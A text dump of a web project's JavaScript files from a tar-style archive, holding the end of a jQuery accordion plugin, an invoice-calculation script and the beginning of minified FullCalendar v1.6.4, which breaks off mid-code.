					$(this).click(function(e){
						activate(this, activationEffect);
						return void(0);
					});
					
					$(this).bind('activate-node', function(){
						$ul.find( panelSelector ).not($(this).parents()).not($(this).siblings()).slideUp( activationEffectSpeed );
						activate(this,'slideDown');
					});
				});
				
				var active = (location.hash)?$ul.find('a[href=' + location.hash + ']')[0]:$ul.find('li.current a')[0];

				if(active){
					activate(active, false);
				}
				
				function activate(el,effect){
					
					$(el).parent( itemSelector ).siblings().removeClass(activeClassName).children( panelSelector ).slideUp( activationEffectSpeed );
					
					$(el).siblings( panelSelector )[(effect || activationEffect)](((effect == "show")?activationEffectSpeed:false),function(){
						
						if($(el).siblings( panelSelector ).is(':visible')){
							$(el).parents( itemSelector ).not($ul.parents()).addClass(activeClassName);
						} else {
							$(el).parent( itemSelector ).removeClass(activeClassName);
						}
						
						if(effect == 'show'){
							$(el).parents( itemSelector ).not($ul.parents()).addClass(activeClassName);
						}
					
						$(el).parents().show();
					
					});
					
				}
				
            });
        }
    }); 
})(jQuery);js/invoice.js000060400000011314150710775200007152 0ustar00function print_today() {
  // ***********************************************
  // AUTHOR: WWW.CGISCRIPT.NET, LLC
  // URL: http://www.cgiscript.net
  // Use the script, just leave this message intact.
  // Download your FREE CGI/Perl Scripts today!
  // ( http://www.cgiscript.net/scripts.htm )
  // ***********************************************
  var now = new Date();
  var months = new Array('January','February','March','April','May','June','July','August','September','October','November','December');
  var date = ((now.getDate()<10) ? "0" : "")+ now.getDate();
  function fourdigits(number) {
    return (number < 1000) ? number + 1900 : number;
  }
  var today =  months[now.getMonth()] + " " + date + ", " + (fourdigits(now.getYear()));
  return today;
}

// from http://www.mediacollege.com/internet/javascript/number/round.html
function roundNumber(number,decimals) {
  var newString;// The new rounded number
  decimals = Number(decimals);
  if (decimals < 1) {
    newString = (Math.round(number)).toString();
  } else {
    var numString = number.toString();
    if (numString.lastIndexOf(".") == -1) {// If there is no decimal point
      numString += ".";// give it one at the end
    }
    var cutoff = numString.lastIndexOf(".") + decimals;// The point at which to truncate the number
    var d1 = Number(numString.substring(cutoff,cutoff+1));// The value of the last decimal place that we'll end up with
    var d2 = Number(numString.substring(cutoff+1,cutoff+2));// The next decimal, after the last one we want
    if (d2 >= 5) {// Do we need to round up at all? If not, the string will just be truncated
      if (d1 == 9 && cutoff > 0) {// If the last digit is 9, find a new cutoff point
        while (cutoff > 0 && (d1 == 9 || isNaN(d1))) {
          if (d1 != ".") {
            cutoff -= 1;
            d1 = Number(numString.substring(cutoff,cutoff+1));
          } else {
            cutoff -= 1;
          }
        }
      }
      d1 += 1;
    } 
    if (d1 == 10) {
      numString = numString.substring(0, numString.lastIndexOf("."));
      var roundedNum = Number(numString) + 1;
      newString = roundedNum.toString() + '.';
    } else {
      newString = numString.substring(0,cutoff) + d1.toString();
    }
  }
  if (newString.lastIndexOf(".") == -1) {// Do this again, to the new string
    newString += ".";
  }
  var decs = (newString.substring(newString.lastIndexOf(".")+1)).length;
  for(var i=0;i<decimals-decs;i++) newString += "0";
  //var newNumber = Number(newString);// make it a number if you like
  return newString; // Output the result to the form field (change for your purposes)
}

function update_total() {
  var total = 0;
  $('.price').each(function(i){
    price = $(this).html().replace("$","");
    if (!isNaN(price)) total += Number(price);
  });

  total = roundNumber(total,2);

  $('#subtotal').html("$"+total);
  $('#total').html("$"+total);
  
  update_balance();
}

function update_balance() {
  var due = $("#total").html().replace("$","") - $("#paid").val().replace("$","");
  due = roundNumber(due,2);
  
  $('.due').html("$"+due);
}

function update_price() {
  var row = $(this).parents('.item-row');
  var price = row.find('.cost').val().replace("$","") * row.find('.qty').val();
  price = roundNumber(price,2);
  isNaN(price) ? row.find('.price').html("N/A") : row.find('.price').html("$"+price);
  
  update_total();
}

function bind() {
  $(".cost").blur(update_price);
  $(".qty").blur(update_price);
}

$(document).ready(function() {

  $('input').click(function(){
    $(this).select();
  });

  $("#paid").blur(update_balance);
   
  $("#addrow").click(function(){
    $(".item-row:last").after('<tr class="item-row"><td class="item-name"><div class="delete-wpr"><textarea>Item Name</textarea><a class="delete glyphicon glyphicon-remove" href="javascript:;" title="Remove row">&nbsp;</a></div></td><td class="description"><textarea>Description</textarea></td><td><textarea class="cost">$0</textarea></td><td><textarea class="qty">0</textarea></td><td><span class="price">$0</span></td></tr>');
    if ($(".delete").length > 0) $(".delete").show();
    bind();
  });
  
  bind();
  
  $('document').on('click', '.delete', function(){
    $(this).parents('.item-row').remove();
    update_total();
    if ($(".delete").length < 2) $(".delete").hide();
  });
  
  $("#cancel-logo").click(function(){
    $("#logo").removeClass('edit');
  });
  $("#delete-logo").click(function(){
    $("#logo").remove();
  });
  $("#change-logo").click(function(){
    $("#logo").addClass('edit');
    $("#imageloc").val($("#image").attr('src'));
    $("#image").select();
  });
  $("#save-logo").click(function(){
    $("#image").attr('src',$("#imageloc").val());
    $("#logo").removeClass('edit');
  });
  
  $("#date").val(print_today());
  
});js/fullcalendar.min.js000060400000144015150710775200010741 0ustar00/*!
 * FullCalendar v1.6.4
 * Docs & License: http://arshaw.com/fullcalendar/
 * (c) 2013 Adam Shaw
 */
(function(t,e){function n(e){t.extend(!0,Ce,e)}function r(n,r,c){function u(t){ae?p()&&(S(),M(t)):f()}function f(){oe=r.theme?"ui":"fc",n.addClass("fc"),r.isRTL?n.addClass("fc-rtl"):n.addClass("fc-ltr"),r.theme&&n.addClass("ui-widget"),ae=t("<div class='fc-content' style='position:relative'/>").prependTo(n),ne=new a(ee,r),re=ne.render(),re&&n.prepend(re),y(r.defaultView),r.handleWindowResize&&t(window).resize(x),m()||v()}function v(){setTimeout(function(){!ie.start&&m()&&C()},0)}function h(){ie&&(te("viewDestroy",ie,ie,ie.element),ie.triggerEventDestroy()),t(window).unbind("resize",x),ne.destroy(),ae.remove(),n.removeClass("fc fc-rtl ui-widget")}function p(){return n.is(":visible")}function m(){return t("body").is(":visible")}function y(t){ie&&t==ie.name||D(t)}function D(e){he++,ie&&(te("viewDestroy",ie,ie,ie.element),Y(),ie.triggerEventDestroy(),G(),ie.element.remove(),ne.deactivateButton(ie.name)),ne.activateButton(e),ie=new Se[e](t("<div class='fc-view fc-view-"+e+"' style='position:relative'/>").appendTo(ae),ee),C(),$(),he--}function C(t){(!ie.start||t||ie.start>ge||ge>=ie.end)&&p()&&M(t)}function M(t){he++,ie.start&&(te("viewDestroy",ie,ie,ie.element),Y(),N()),G(),ie.render(ge,t||0),T(),$(),(ie.afterRender||A)(),_(),P(),te("viewRender",ie,ie,ie.element),ie.trigger("viewDisplay",de),he--,z()}function E(){p()&&(Y(),N(),S(),T(),F())}function S(){le=r.contentHeight?r.contentHeight:r.height?r.height-(re?re.height():0)-R(ae):Math.round(ae.width()/Math.max(r.aspectRatio,.5))}function T(){le===e&&S(),he++,ie.setHeight(le),ie.setWidth(ae.width()),he--,se=n.outerWidth()}function x(){if(!he)if(ie.start){var t=++ve;setTimeout(function(){t==ve&&!he&&p()&&se!=(se=n.outerWidth())&&(he++,E(),ie.trigger("windowResize",de),he--)},200)}else v()}function k(){N(),W()}function H(t){N(),F(t)}function F(t){p()&&(ie.setEventData(pe),ie.renderEvents(pe,t),ie.trigger("eventAfterAllRender"))}function N(){ie.triggerEventDestroy(),ie.clearEvents(),ie.clearEventData()}function z(){!r.lazyFetching||ue(ie.visStart,ie.visEnd)?W():F()}function W(){fe(ie.visStart,ie.visEnd)}function O(t){pe=t,F()}function L(t){H(t)}function _(){ne.updateTitle(ie.title)}function P(){var t=new Date;t>=ie.start&&ie.end>t?ne.disableButton("today"):ne.enableButton("today")}function q(t,n,r){ie.select(t,n,r===e?!0:r)}function Y(){ie&&ie.unselect()}function B(){C(-1)}function j(){C(1)}function I(){i(ge,-1),C()}function X(){i(ge,1),C()}function J(){ge=new Date,C()}function V(t,e,n){t instanceof Date?ge=d(t):g(ge,t,e,n),C()}function U(t,n,r){t!==e&&i(ge,t),n!==e&&s(ge,n),r!==e&&l(ge,r),C()}function Z(){return d(ge)}function G(){ae.css({width:"100%",height:ae.height(),overflow:"hidden"})}function $(){ae.css({width:"",height:"",overflow:""})}function Q(){return ie}function K(t,n){return n===e?r[t]:(("height"==t||"contentHeight"==t||"aspectRatio"==t)&&(r[t]=n,E()),e)}function te(t,n){return r[t]?r[t].apply(n||de,Array.prototype.slice.call(arguments,2)):e}var ee=this;ee.options=r,ee.render=u,ee.destroy=h,ee.refetchEvents=k,ee.reportEvents=O,ee.reportEventChange=L,ee.rerenderEvents=H,ee.changeView=y,ee.select=q,ee.unselect=Y,ee.prev=B,ee.next=j,ee.prevYear=I,ee.nextYear=X,ee.today=J,ee.gotoDate=V,ee.incrementDate=U,ee.formatDate=function(t,e){return w(t,e,r)},ee.formatDates=function(t,e,n){return b(t,e,n,r)},ee.getDate=Z,ee.getView=Q,ee.option=K,ee.trigger=te,o.call(ee,r,c);var ne,re,ae,oe,ie,se,le,ce,ue=ee.isFetchNeeded,fe=ee.fetchEvents,de=n[0],ve=0,he=0,ge=new Date,pe=[];g(ge,r.year,r.month,r.date),r.droppable&&t(document).bind("dragstart",function(e,n){var a=e.target,o=t(a);if(!o.parents(".fc").length){var i=r.dropAccept;(t.isFunction(i)?i.call(a,o):o.is(i))&&(ce=a,ie.dragStart(ce,e,n))}}).bind("dragstop",function(t,e){ce&&(ie.dragStop(ce,t,e),ce=null)})}function a(n,r){function a(){v=r.theme?"ui":"fc";var n=r.header;return n?h=t("<table class='fc-header' style='width:100%'/>").append(t("<tr/>").append(i("left")).append(i("center")).append(i("right"))):e}function o(){h.remove()}function i(e){var a=t("<td class='fc-header-"+e+"'/>"),o=r.header[e];return o&&t.each(o.split(" "),function(e){e>0&&a.append("<span class='fc-header-space'/>");var o;t.each(this.split(","),function(e,i){if("title"==i)a.append("<span class='fc-header-title'><h2>&nbsp;</h2></span>"),o&&o.addClass(v+"-corner-right"),o=null;else{var s;if(n[i]?s=n[i]:Se[i]&&(s=function(){u.removeClass(v+"-state-hover"),n.changeView(i)}),s){var l=r.theme?P(r.buttonIcons,i):null,c=P(r.buttonText,i),u=t("<span class='fc-button fc-button-"+i+" "+v+"-state-default'>"+(l?"<span class='fc-icon-wrap'><span class='ui-icon ui-icon-"+l+"'/>"+"</span>":c)+"</span>").click(function(){u.hasClass(v+"-state-disabled")||s()}).mousedown(function(){u.not("."+v+"-state-active").not("."+v+"-state-disabled").addClass(v+"-state-down")}).mouseup(function(){u.removeClass(v+"-state-down")}).hover(function(){u.not("."+v+"-state-active").not("."+v+"-state-disabled").addClass(v+"-state-hover")},function(){u.removeClass(v+"-state-hover").removeClass(v+"-state-down")}).appendTo(a);Y(u),o||u.addClass(v+"-corner-left"),o=u}}}),o&&o.addClass(v+"-corner-right")}),a}function s(t){h.find("h2").html(t)}function l(t){h.find("span.fc-button-"+t).addClass(v+"-state-active")}function c(t){h.find("span.fc-button-"+t).removeClass(v+"-state-active")}function u(t){h.find("span.fc-button-"+t).addClass(v+"-state-disabled")}function f(t){h.find("span.fc-button-"+t).removeClass(v+"-state-disabled")}var d=this;d.render=a,d.destroy=o,d.updateTitle=s,d.activateButton=l,d.deactivateButton=c,d.disableButton=u,d.enableButton=f;var v,h=t([])}function o(n,r){function a(t,e){return!E||E>t||e>S}function o(t,e){E=t,S=e,W=[];var n=++R,r=F.length;N=r;for(var a=0;r>a;a++)i(F[a],n)}function i(e,r){s(e,function(a){if(r==R){if(a){n.eventDataTransform&&(a=t.map(a,n.eventDataTransform)),e.eventDataTransform&&(a=t.map(a,e.eventDataTransform));for(var o=0;a.length>o;o++)a[o].source=e,w(a[o]);W=W.concat(a)}N--,N||k(W)}})}function s(r,a){var o,i,l=Ee.sourceFetchers;for(o=0;l.length>o;o++){if(i=l[o](r,E,S,a),i===!0)return;if("object"==typeof i)return s(i,a),e}var c=r.events;if(c)t.isFunction(c)?(m(),c(d(E),d(S),function(t){a(t),y()})):t.isArray(c)?a(c):a();else{var u=r.url;if(u){var f,v=r.success,h=r.error,g=r.complete;f=t.isFunction(r.data)?r.data():r.data;var p=t.extend({},f||{}),w=X(r.startParam,n.startParam),b=X(r.endParam,n.endParam);w&&(p[w]=Math.round(+E/1e3)),b&&(p[b]=Math.round(+S/1e3)),m(),t.ajax(t.extend({},Te,r,{data:p,success:function(e){e=e||[];var n=I(v,this,arguments);t.isArray(n)&&(e=n),a(e)},error:function(){I(h,this,arguments),a()},complete:function(){I(g,this,arguments),y()}}))}else a()}}function l(t){t=c(t),t&&(N++,i(t,R))}function c(n){return t.isFunction(n)||t.isArray(n)?n={events:n}:"string"==typeof n&&(n={url:n}),"object"==typeof n?(b(n),F.push(n),n):e}function u(e){F=t.grep(F,function(t){return!D(t,e)}),W=t.grep(W,function(t){return!D(t.source,e)}),k(W)}function f(t){var e,n,r=W.length,a=x().defaultEventEnd,o=t.start-t._start,i=t.end?t.end-(t._end||a(t)):0;for(e=0;r>e;e++)n=W[e],n._id==t._id&&n!=t&&(n.start=new Date(+n.start+o),n.end=t.end?n.end?new Date(+n.end+i):new Date(+a(n)+i):null,n.title=t.title,n.url=t.url,n.allDay=t.allDay,n.className=t.className,n.editable=t.editable,n.color=t.color,n.backgroundColor=t.backgroundColor,n.borderColor=t.borderColor,n.textColor=t.textColor,w(n));w(t),k(W)}function v(t,e){w(t),t.source||(e&&(H.events.push(t),t.source=H),W.push(t)),k(W)}function h(e){if(e){if(!t.isFunction(e)){var n=e+"";e=function(t){return t._id==n}}W=t.grep(W,e,!0);for(var r=0;F.length>r;r++)t.isArray(F[r].events)&&(F[r].events=t.grep(F[r].events,e,!0))}else{W=[];for(var r=0;F.length>r;r++)t.isArray(F[r].events)&&(F[r].events=[])}k(W)}function g(e){return t.isFunction(e)?t.grep(W,e):e?(e+="",t.grep(W,function(t){return t._id==e})):W}function m(){z++||T("loading",null,!0,x())}function y(){--z||T("loading",null,!1,x())}function w(t){var r=t.source||{},a=X(r.ignoreTimezone,n.ignoreTimezone);t._id=t._id||(t.id===e?"_fc"+xe++:t.id+""),t.date&&(t.start||(t.start=t.date),delete t.date),t._start=d(t.start=p(t.start,a)),t.end=p(t.end,a),t.end&&t.end<=t.start&&(t.end=null),t._end=t.end?d(t.end):null,t.allDay===e&&(t.allDay=X(r.allDayDefault,n.allDayDefault)),t.className?"string"==typeof t.className&&(t.className=t.className.split(/\s+/)):t.className=[]}function b(t){t.className?"string"==typeof t.className&&(t.className=t.className.split(/\s+/)):t.className=[];for(var e=Ee.sourceNormalizers,n=0;e.length>n;n++)e[n](t)}function D(t,e){return t&&e&&C(t)==C(e)}function C(t){return("object"==typeof t?t.events||t.url:"")||t}var M=this;M.isFetchNeeded=a,M.fetchEvents=o,M.addEventSource=l,M.removeEventSource=u,M.updateEvent=f,M.renderEvent=v,M.removeEvents=h,M.clientEvents=g,M.normalizeEvent=w;for(var E,S,T=M.trigger,x=M.getView,k=M.reportEvents,H={events:[]},F=[H],R=0,N=0,z=0,W=[],A=0;r.length>A;A++)c(r[A])}function i(t,e,n){return t.setFullYear(t.getFullYear()+e),n||f(t),t}function s(t,e,n){if(+t){var r=t.getMonth()+e,a=d(t);for(a.setDate(1),a.setMonth(r),t.setMonth(r),n||f(t);t.getMonth()!=a.getMonth();)t.setDate(t.getDate()+(a>t?1:-1))}return t}function l(t,e,n){if(+t){var r=t.getDate()+e,a=d(t);a.setHours(9),a.setDate(r),t.setDate(r),n||f(t),c(t,a)}return t}function c(t,e){if(+t)for(;t.getDate()!=e.getDate();)t.setTime(+t+(e>t?1:-1)*Fe)}function u(t,e){return t.setMinutes(t.getMinutes()+e),t}function f(t){return t.setHours(0),t.setMinutes(0),t.setSeconds(0),t.setMilliseconds(0),t}function d(t,e){return e?f(new Date(+t)):new Date(+t)}function v(){var t,e=0;do t=new Date(1970,e++,1);while(t.getHours());return t}function h(t,e){return Math.round((d(t,!0)-d(e,!0))/He)}function g(t,n,r,a){n!==e&&n!=t.getFullYear()&&(t.setDate(1),t.setMonth(0),t.setFullYear(n)),r!==e&&r!=t.getMonth()&&(t.setDate(1),t.setMonth(r)),a!==e&&t.setDate(a)}function p(t,n){return"object"==typeof t?t:"number"==typeof t?new Date(1e3*t):"string"==typeof t?t.match(/^\d+(\.\d+)?$/)?new Date(1e3*parseFloat(t)):(n===e&&(n=!0),m(t,n)||(t?new Date(t):null)):null}function m(t,e){var n=t.match(/^([0-9]{4})(-([0-9]{2})(-([0-9]{2})([T ]([0-9]{2}):([0-9]{2})(:([0-9]{2})(\.([0-9]+))?)?(Z|(([-+])([0-9]{2})(:?([0-9]{2}))?))?)?)?)?$/);if(!n)return null;var r=new Date(n[1],0,1);if(e||!n[13]){var a=new Date(n[1],0,1,9,0);n[3]&&(r.setMonth(n[3]-1),a.setMonth(n[3]-1)),n[5]&&(r.setDate(n[5]),a.setDate(n[5])),c(r,a),n[7]&&r.setHours(n[7]),n[8]&&r.setMinutes(n[8]),n[10]&&r.setSeconds(n[10]),n[12]&&r.setMilliseconds(1e3*Number("0."+n[12])),c(r,a)}else if(r.setUTCFullYear(n[1],n[3]?n[3]-1:0,n[5]||1),r.setUTCHours(n[7]||0,n[8]||0,n[10]||0,n[12]?1e3*Number("0."+n[12]):0),n[14]){var o=60*Number(n[16])+(n[18]?Number(n[18]):0);o*="-"==n[15]?1:-1,r=new Date(+r+1e3*60*o)}return r}function y(t){if("number"==typeof t)return 60*t;if("object"==typeof t)return 60*t.getHours()+t.getMinutes();var e=t.match(/(\d+)(?::(\d+))?\s*(\w+)?/);if(e){var n=parseInt(e[1],10);return e[3]&&(n%=12,"p"==e[3].toLowerCase().charAt(0)&&(n+=12)),60*n+(e[2]?parseInt(e[2],10):0)}}function w(t,e,n){return b(t,null,e,n)}function b(t,e,n,r){r=r||Ce;var a,o,i,s,l=t,c=e,u=n.length,f="";for(a=0;u>a;a++)if(o=n.charAt(a),"'"==o){for(i=a+1;u>i;i++)if("'"==n.charAt(i)){l&&(f+=i==a+1?"'":n.substring(a+1,i),a=i);break}}else if("("==o){for(i=a+1;u>i;i++)if(")"==n.charAt(i)){var d=w(l,n.substring(a+1,i),r);parseInt(d.replace(/\D/,""),10)&&(f+=d),a=i;break}}else if("["==o){for(i=a+1;u>i;i++)if("]"==n.charAt(i)){var v=n.substring(a+1,i),d=w(l,v,r);d!=w(c,v,r)&&(f+=d),a=i;break}}else if("{"==o)l=e,c=t;else if("}"==o)l=t,c=e;else{for(i=u;i>a;i--)if(s=Ne[n.substring(a,i)]){l&&(f+=s(l,r)),a=i-1;break}i==a&&l&&(f+=o)}return f}function D(t){var e,n=new Date(t.getTime());return n.setDate(n.getDate()+4-(n.getDay()||7)),e=n.getTime(),n.setMonth(0),n.setDate(1),Math.floor(Math.round((e-n)/864e5)/7)+1}function C(t){return t.end?M(t.end,t.allDay):l(d(t.start),1)}function M(t,e){return t=d(t),e||t.getHours()||t.getMinutes()?l(t,1):f(t)}function E(n,r,a){n.unbind("mouseover").mouseover(function(n){for(var o,i,s,l=n.target;l!=this;)o=l,l=l.parentNode;(i=o._fci)!==e&&(o._fci=e,s=r[i],a(s.event,s.element,s),t(n.target).trigger(n)),n.stopPropagation()})}function S(e,n,r){for(var a,o=0;e.length>o;o++)a=t(e[o]),a.width(Math.max(0,n-x(a,r)))}function T(e,n,r){for(var a,o=0;e.length>o;o++)a=t(e[o]),a.height(Math.max(0,n-R(a,r)))}function x(t,e){return k(t)+F(t)+(e?H(t):0)}function k(e){return(parseFloat(t.css(e[0],"paddingLeft",!0))||0)+(parseFloat(t.css(e[0],"paddingRight",!0))||0)}function H(e){return(parseFloat(t.css(e[0],"marginLeft",!0))||0)+(parseFloat(t.css(e[0],"marginRight",!0))||0)}function F(e){return(parseFloat(t.css(e[0],"borderLeftWidth",!0))||0)+(parseFloat(t.css(e[0],"borderRightWidth",!0))||0)}function R(t,e){return N(t)+W(t)+(e?z(t):0)}function N(e){return(parseFloat(t.css(e[0],"paddingTop",!0))||0)+(parseFloat(t.css(e[0],"paddingBottom",!0))||0)}function z(e){return(parseFloat(t.css(e[0],"marginTop",!0))||0)+(parseFloat(t.css(e[0],"marginBottom",!0))||0)}function W(e){return(parseFloat(t.css(e[0],"borderTopWidth",!0))||0)+(parseFloat(t.css(e[0],"borderBottomWidth",!0))||0)}function A(){}function O(t,e){return t-e}function L(t){return Math.max.apply(Math,t)}function _(t){return(10>t?"0":"")+t}function P(t,n){if(t[n]!==e)return t[n];for(var r,a=n.split(/(?=[A-Z])/),o=a.length-1;o>=0;o--)if(r=t[a[o].toLowerCase()],r!==e)return r;return t[""]}function q(t){return t.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/'/g,"&#039;").replace(/"/g,"&quot;").replace(/\n/g,"<br />")}function Y(t){t.attr("unselectable","on").css("MozUserSelect","none").bind("selectstart.ui",function(){return!1})}function B(t){t.children().removeClass("fc-first fc-last").filter(":first-child").addClass("fc-first").end().filter(":last-child").addClass("fc-last")}function j(t,e){var n=t.source||{},r=t.color,a=n.color,o=e("eventColor"),i=t.backgroundColor||r||n.backgroundColor||a||e("eventBackgroundColor")||o,s=t.borderColor||r||n.borderColor||a||e("eventBorderColor")||o,l=t.textColor||n.textColor||e("eventTextColor"),c=[];return i&&c.push("background-color:"+i),s&&c.push("border-color:"+s),l&&c.push("color:"+l),c.join(";")}function I(e,n,r){if(t.isFunction(e)&&(e=[e]),e){var a,o;for(a=0;e.length>a;a++)o=e[a].apply(n,r)||o;return o}}function X(){for(var t=0;arguments.length>t;t++)if(arguments[t]!==e)return arguments[t]}function J(t,e){function n(t,e){e&&(s(t,e),t.setDate(1));var n=a("firstDay"),f=d(t,!0);f.setDate(1);var v=s(d(f),1),g=d(f);l(g,-((g.getDay()-n+7)%7)),i(g);var p=d(v);l(p,(7-p.getDay()+n)%7),i(p,-1,!0);var m=c(),y=Math.round(h(p,g)/7);"fixed"==a("weekMode")&&(l(p,7*(6-y)),y=6),r.title=u(f,a("titleFormat")),r.start=f,r.end=v,r.visStart=g,r.visEnd=p,o(y,m,!0)}var r=this;r.render=n,Z.call(r,t,e,"month");var a=r.opt,o=r.renderBasic,i=r.skipHiddenDays,c=r.getCellsPerWeek,u=e.formatDate}function V(t,e){function n(t,e){e&&l(t,7*e);var n=l(d(t),-((t.getDay()-a("firstDay")+7)%7)),u=l(d(n),7),f=d(n);i(f);var v=d(u);i(v,-1,!0);var h=s();r.start=n,r.end=u,r.visStart=f,r.visEnd=v,r.title=c(f,l(d(v),-1),a("titleFormat")),o(1,h,!1)}var r=this;r.render=n,Z.call(r,t,e,"basicWeek");var a=r.opt,o=r.renderBasic,i=r.skipHiddenDays,s=r.getCellsPerWeek,c=e.formatDates}function U(t,e){function n(t,e){e&&l(t,e),i(t,0>e?-1:1);var n=d(t,!0),c=l(d(n),1);r.title=s(t,a("titleFormat")),r.start=r.visStart=n,r.end=r.visEnd=c,o(1,1,!1)}var r=this;r.render=n,Z.call(r,t,e,"basicDay");var a=r.opt,o=r.renderBasic,i=r.skipHiddenDays,s=e.formatDate}function Z(e,n,r){function a(t,e,n){ee=t,ne=e,re=n,o(),j||i(),s()}function o(){le=he("theme")?"ui":"fc",ce=he("columnFormat"),ue=he("weekNumbers"),de=he("weekNumberTitle"),ve="iso"!=he("weekNumberCalculation")?"w":"W"}function i(){Z=t("<div class='fc-event-container' style='position:absolute;z-index:8;top:0;left:0'/>").appendTo(e)}function s(){var n=c();L&&L.remove(),L=t(n).appendTo(e),_=L.find("thead"),P=_.find(".fc-day-header"),j=L.find("tbody"),I=j.find("tr"),X=j.find(".fc-day"),J=I.find("td:first-child"),V=I.eq(0).find(".fc-day > div"),U=I.eq(0).find(".fc-day-content > div"),B(_.add(_.find("tr"))),B(I),I.eq(0).addClass("fc-first"),I.filter(":last").addClass("fc-last"),X.each(function(e,n){var r=Ee(Math.floor(e/ne),e%ne);ge("dayRender",O,r,t(n))}),y(X)}function c(){var t="<table class='fc-border-separate' style='width:100%' cellspacing='0'>"+u()+v()+"</table>";return t}function u(){var t,e,n=le+"-widget-header",r="";for(r+="<thead><tr>",ue&&(r+="<th class='fc-week-number "+n+"'>"+q(de)+"</th>"),t=0;ne>t;t++)e=Ee(0,t),r+="<th class='fc-day-header fc-"+ke[e.getDay()]+" "+n+"'>"+q(xe(e,ce))+"</th>";return r+="</tr></thead>"}function v(){var t,e,n,r=le+"-widget-content",a="";for(a+="<tbody>",t=0;ee>t;t++){for(a+="<tr class='fc-week'>",ue&&(n=Ee(t,0),a+="<td class='fc-week-number "+r+"'>"+"<div>"+q(xe(n,ve))+"</div>"+"</td>"),e=0;ne>e;e++)n=Ee(t,e),a+=h(n);a+="</tr>"}return a+="</tbody>"}function h(t){var e=le+"-widget-content",n=O.start.getMonth(),r=f(new Date),a="",o=["fc-day","fc-"+ke[t.getDay()],e];return t.getMonth()!=n&&o.push("fc-other-month"),+t==+r?o.push("fc-today",le+"-state-highlight"):r>t?o.push("fc-past"):o.push("fc-future"),a+="<td class='"+o.join(" ")+"'"+" data-date='"+xe(t,"yyyy-MM-dd")+"'"+">"+"<div>",re&&(a+="<div class='fc-day-number'>"+t.getDate()+"</div>"),a+="<div class='fc-day-content'><div style='position:relative'>&nbsp;</div></div></div></td>"}function g(e){Q=e;var n,r,a,o=Q-_.height();"variable"==he("weekMode")?n=r=Math.floor(o/(1==ee?2:6)):(n=Math.floor(o/ee),r=o-n*(ee-1)),J.each(function(e,o){ee>e&&(a=t(o),a.find("> div").css("min-height",(e==ee-1?r:n)-R(a)))})}function p(t){$=t,ie.clear(),se.clear(),te=0,ue&&(te=_.find("th.fc-week-number").outerWidth()),K=Math.floor(($-te)/ne),S(P.slice(0,-1),K)}function y(t){t.click(w).mousedown(Me)}function w(e){if(!he("selectable")){var n=m(t(this).data("date"));ge("dayClick",this,n,!0,e)}}function b(t,e,n){n&&ae.build();for(var r=Te(t,e),a=0;r.length>a;a++){var o=r[a];y(D(o.row,o.leftCol,o.row,o.rightCol))}}function D(t,n,r,a){var o=ae.rect(t,n,r,a,e);return be(o,e)}function C(t){return d(t)}function M(t,e){b(t,l(d(e),1),!0)}function E(){Ce()}function T(t,e,n){var r=Se(t),a=X[r.row*ne+r.col];ge("dayClick",a,t,e,n)}function x(t,e){oe.start(function(t){Ce(),t&&D(t.row,t.col,t.row,t.col)},e)}function k(t,e,n){var r=oe.stop();if(Ce(),r){var a=Ee(r);ge("drop",t,a,!0,e,n)}}function H(t){return d(t.start)}function F(t){return ie.left(t)}function N(t){return ie.right(t)}function z(t){return se.left(t)}function W(t){return se.right(t)}function A(t){return I.eq(t)}var O=this;O.renderBasic=a,O.setHeight=g,O.setWidth=p,O.renderDayOverlay=b,O.defaultSelectionEnd=C,O.renderSelection=M,O.clearSelection=E,O.reportDayClick=T,O.dragStart=x,O.dragStop=k,O.defaultEventEnd=H,O.getHoverListener=function(){return oe},O.colLeft=F,O.colRight=N,O.colContentLeft=z,O.colContentRight=W,O.getIsCellAllDay=function(){return!0},O.allDayRow=A,O.getRowCnt=function(){return ee},O.getColCnt=function(){return ne},O.getColWidth=function(){return K},O.getDaySegmentContainer=function(){return Z},fe.call(O,e,n,r),me.call(O),pe.call(O),G.call(O);var L,_,P,j,I,X,J,V,U,Z,$,Q,K,te,ee,ne,re,ae,oe,ie,se,le,ce,ue,de,ve,he=O.opt,ge=O.trigger,be=O.renderOverlay,Ce=O.clearOverlays,Me=O.daySelectionMousedown,Ee=O.cellToDate,Se=O.dateToCell,Te=O.rangeToSegments,xe=n.formatDate;Y(e.addClass("fc-grid")),ae=new ye(function(e,n){var r,a,o;P.each(function(e,i){r=t(i),a=r.offset().left,e&&(o[1]=a),o=[a],n[e]=o}),o[1]=a+r.outerWidth(),I.each(function(n,i){ee>n&&(r=t(i),a=r.offset().top,n&&(o[1]=a),o=[a],e[n]=o)}),o[1]=a+r.outerHeight()}),oe=new we(ae),ie=new De(function(t){return V.eq(t)}),se=new De(function(t){return U.eq(t)})}function G(){function t(t,e){n.renderDayEvents(t,e)}function e(){n.getDaySegmentContainer().empty()}var n=this;n.renderEvents=t,n.clearEvents=e,de.call(n)}function $(t,e){function n(t,e){e&&l(t,7*e);var n=l(d(t),-((t.getDay()-a("firstDay")+7)%7)),u=l(d(n),7),f=d(n);i(f);var v=d(u);i(v,-1,!0);var h=s();r.title=c(f,l(d(v),-1),a("titleFormat")),r.start=n,r.end=u,r.visStart=f,r.visEnd=v,o(h)}var r=this;r.render=n,K.call(r,t,e,"agendaWeek");var a=r.opt,o=r.renderAgenda,i=r.skipHiddenDays,s=r.getCellsPerWeek,c=e.formatDates}function Q(t,e){function n(t,e){e&&l(t,e),i(t,0>e?-1:1);var n=d(t,!0),c=l(d(n),1);r.title=s(t,a("titleFormat")),r.start=r.visStart=n,r.end=r.visEnd=c,o(1)}var r=this;r.render=n,K.call(r,t,e,"agendaDay");var a=r.opt,o=r.renderAgenda,i=r.skipHiddenDays,s=e.formatDate}function K(n,r,a){function o(t){We=t,i(),K?c():s()}function i(){qe=Ue("theme")?"ui":"fc",Ye=Ue("isRTL"),Be=y(Ue("minTime")),je=y(Ue("maxTime")),Ie=Ue("columnFormat"),Xe=Ue("weekNumbers"),Je=Ue("weekNumberTitle"),Ve="iso"!=Ue("weekNumberCalculation")?"w":"W",Re=Ue("snapMinutes")||Ue("slotMinutes")}function s(){var e,r,a,o,i,s=qe+"-widget-header",l=qe+"-widget-content",f=0==Ue("slotMinutes")%15;for(c(),ce=t("<div style='position:absolute;z-index:2;left:0;width:100%'/>").appendTo(n),Ue("allDaySlot")?(ue=t("<div class='fc-event-container' style='position:absolute;z-index:8;top:0;left:0'/>").appendTo(ce),e="<table style='width:100%' class='fc-agenda-allday' cellspacing='0'><tr><th class='"+s+" 